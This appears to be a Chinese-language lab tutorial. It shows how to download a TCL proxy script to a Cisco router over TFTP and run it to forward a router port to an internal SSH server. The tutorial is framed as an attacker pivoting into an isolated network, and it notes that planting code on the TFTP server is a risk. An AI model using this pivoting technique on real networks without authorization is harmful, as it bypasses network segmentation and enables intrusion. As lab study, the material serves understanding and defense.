cisco网络设备使用tcl脚本实现端口转发

robots

 

一、操作目的和应用场景

本文演示如何在思科网络设备(如路由器)上运行TCL脚本,实现从路由器到内网服务器的端口转发。

TCL全名为Tool Command Language,主要用于嵌入式系统,功能强大,易于使用,主要用于完成自动化任务。

从安全角度看,TCL脚本的一个重要功能就是能够创建端口监听,这一点是可以被攻击者利用的。当在思科路由器上使用TCL脚本时,通常是将脚本文件保存在TFTP服务器上,在需要执行的时候下载执行。因此,攻击者若攻破TFTP服务器,将恶意代码插入到正常脚本中,那么在下一次执行该文件的时候,恶意代码也会被执行。

 

二、平台及工具版本

 

三、操作步骤

(一)实验环境准备

1、kali linux宿主机安装配置gns3

安装过程略。
GNS3中创建项目,导入cisco 3660 IOS镜像,之后导入windows xp虚拟机和centos 8虚拟机。按照下面的方式连接设备并分别启动:

2、cisco路由器配置IP地址

//进入全局配置模式
configure terminal
//配置外网口
int f0/0
//启用接口
no shut
//配置IP地址
ip address 10.10.10.10 255.255.255.0
//配置内网口
int f0/1
no shut
ip address 20.20.20.20 255.255.255.0
//回到特权模式
end

3、windows xp虚拟机配置IP地址并安装tftp服务软件

虚拟机配置固定IP地址:10.10.10.128/24,不指定网关。

//测试连通性
ping 10.10.10.20

从下面的地址下载32位版本的安装程序,拖入xp虚拟机中运行。
https://bitbucket.org/phjounin/tftpd64/downloads/
tftp服务程序启动后,监听本地的UDP 69端口。

4、centos 8虚拟机配置IP地址并启动ssh服务

IP地址配置:

测试连通性:

可连接路由器。

注意,由于windows xp虚拟机和centos 8虚拟机中都没有指定网关,因此xp和centos系统之间网络是不通的。

(二)通过tcl实现端口转发

1、下载tclproxy脚本

地址:https://github.com/mohemiv/TCLtools
将脚本文件tclproxy.tcl保存在windows xp虚拟机的tftpd服务程序的工作目录中。

2、cisco路由器执行tclproxy

//进入tcl shell命令行
tclsh
//查看tcl版本
puts $tcl_version
puts $tcl_patchLevel

版本为8.3.4

//进入全局配置模式
configure terminal
//指定系统最小的可用内存(若系统内存低于此值,则tcl会终止脚本的运行)
scripting tcl low-memory 5242880
//回到特权模式
end

//将tcl脚本从tftp服务器下载到路由器
copy tftp://10.10.10.128/tclproxy.tcl flash:/

下载成功。

//运行tclproxy脚本,将访问路由器本地5555端口的数据包转发到centos 8系统的ssh服务端口
tclsh tclproxy.tcl -L 5555:20.20.20.128:22

开始监听了。

3、攻击者连接到内网服务器的ssh服务端口

在攻击者所控制的windows xp虚拟机中运行securecrt,建立快速连接,指定连接到路由器外网口的IP地址及tclproxy脚本所监听的端口。

点击连接按钮,攻击者成功登录了内网服务器,说明端口转发成功:

在centos 8虚拟机上抓包可以看到,访问本地ssh服务端口的数据包源地址为路由器的内网口IP,这说明tclproxy在转发数据包的时候进行了源地址转换。

在路由器和xp虚拟机之间的链路上抓包,可以看到,源地址是路由器的外网口地址。这说明tclproxy在将内网服务器的回应返回给xp虚拟机的时候,将数据包的源地址改成了路由器外网口的IP地址:

正是由于tclproxy在转发数据包时修改了源地址,才能在本不连通的两台主机之间建立连接,这也体现了该软件名称中proxy的含义。

 

四、总结

本文以cisco设备举例,说明通过tcl脚本实现端口转发的方法。实际上H3C、juniper等设备也是支持tcl脚本的,因此应该也可以实现这个功能,请大家自行验证。

 

五、参考网址

https://github.com/mohemiv/TCLtools

(完)